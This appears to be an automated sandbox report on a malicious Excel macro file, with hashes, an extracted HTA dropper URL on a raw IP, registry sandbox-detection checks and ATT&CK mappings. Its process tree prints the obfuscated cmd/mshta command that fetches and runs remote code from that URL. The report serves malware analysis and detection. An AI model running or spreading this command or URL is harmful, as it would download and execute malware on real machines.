96cbfe690490f4cfdbfdf395626f5f393deb559f0c078aecfa9facc6fdac9d54

General

Target

96cbfe690490f4cfdbfdf395626f5f393deb559f0c078aecfa9facc6fdac9d54.xlsm
Size

112KB
MD5

671bb3efb95886a8e950027099638c70
SHA1

df1a9d1686fba1b6122af41481dc58713398205e
SHA256

96cbfe690490f4cfdbfdf395626f5f393deb559f0c078aecfa9facc6fdac9d54
SHA512

5eafd8e1812f29c11c825f436d981b8c55bf555653e2c750c2a4f0929299fa3c88f89fe22ec7a90c52530abd687f5aaec8152a8afbdea200c674f46e86c18345

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://92.255.57.195/ru/ru.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2912	4104	cmd.exe	68

Blocklisted process makes network request 1 IoCs

flow	pid	Process
43	3100	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4104	EXCEL.EXE

Suspicious use of SetWindowsHookEx 20 IoCs

pid	Process
4104	EXCEL.EXE
4104	EXCEL.EXE
4104	EXCEL.EXE
4104	EXCEL.EXE
4104	EXCEL.EXE
4104	EXCEL.EXE
4104	EXCEL.EXE
4104	EXCEL.EXE
4104	EXCEL.EXE
4104	EXCEL.EXE
4104	EXCEL.EXE
4104	EXCEL.EXE
4104	EXCEL.EXE
4104	EXCEL.EXE
4104	EXCEL.EXE
4104	EXCEL.EXE
4104	EXCEL.EXE
4104	EXCEL.EXE
4104	EXCEL.EXE
4104	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4104 wrote to memory of 2912	4104	EXCEL.EXE	70
PID 4104 wrote to memory of 2912	4104	EXCEL.EXE	70
PID 2912 wrote to memory of 3100	2912	cmd.exe	72
PID 2912 wrote to memory of 3100	2912	cmd.exe	72

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\96cbfe690490f4cfdbfdf395626f5f393deb559f0c078aecfa9facc6fdac9d54.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4104
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/92.255.57.195/ru/ru.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2912
- - C:\Windows\system32\mshta.exe
    mshta http://92.255.57.195/ru/ru.html
    3⤵
    - Blocklisted process makes network request
    PID:3100

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/4104-115-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

Filesize
64KB

Download
memory/4104-116-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

Filesize
64KB

Download
memory/4104-117-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

Filesize
64KB

Download
memory/4104-118-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

Filesize
64KB

Download
memory/4104-127-0x00007FFE09380000-0x00007FFE09390000-memory.dmp

Filesize
64KB

Download
memory/4104-128-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

Filesize
64KB

Download
memory/4104-129-0x00007FFE09380000-0x00007FFE09390000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads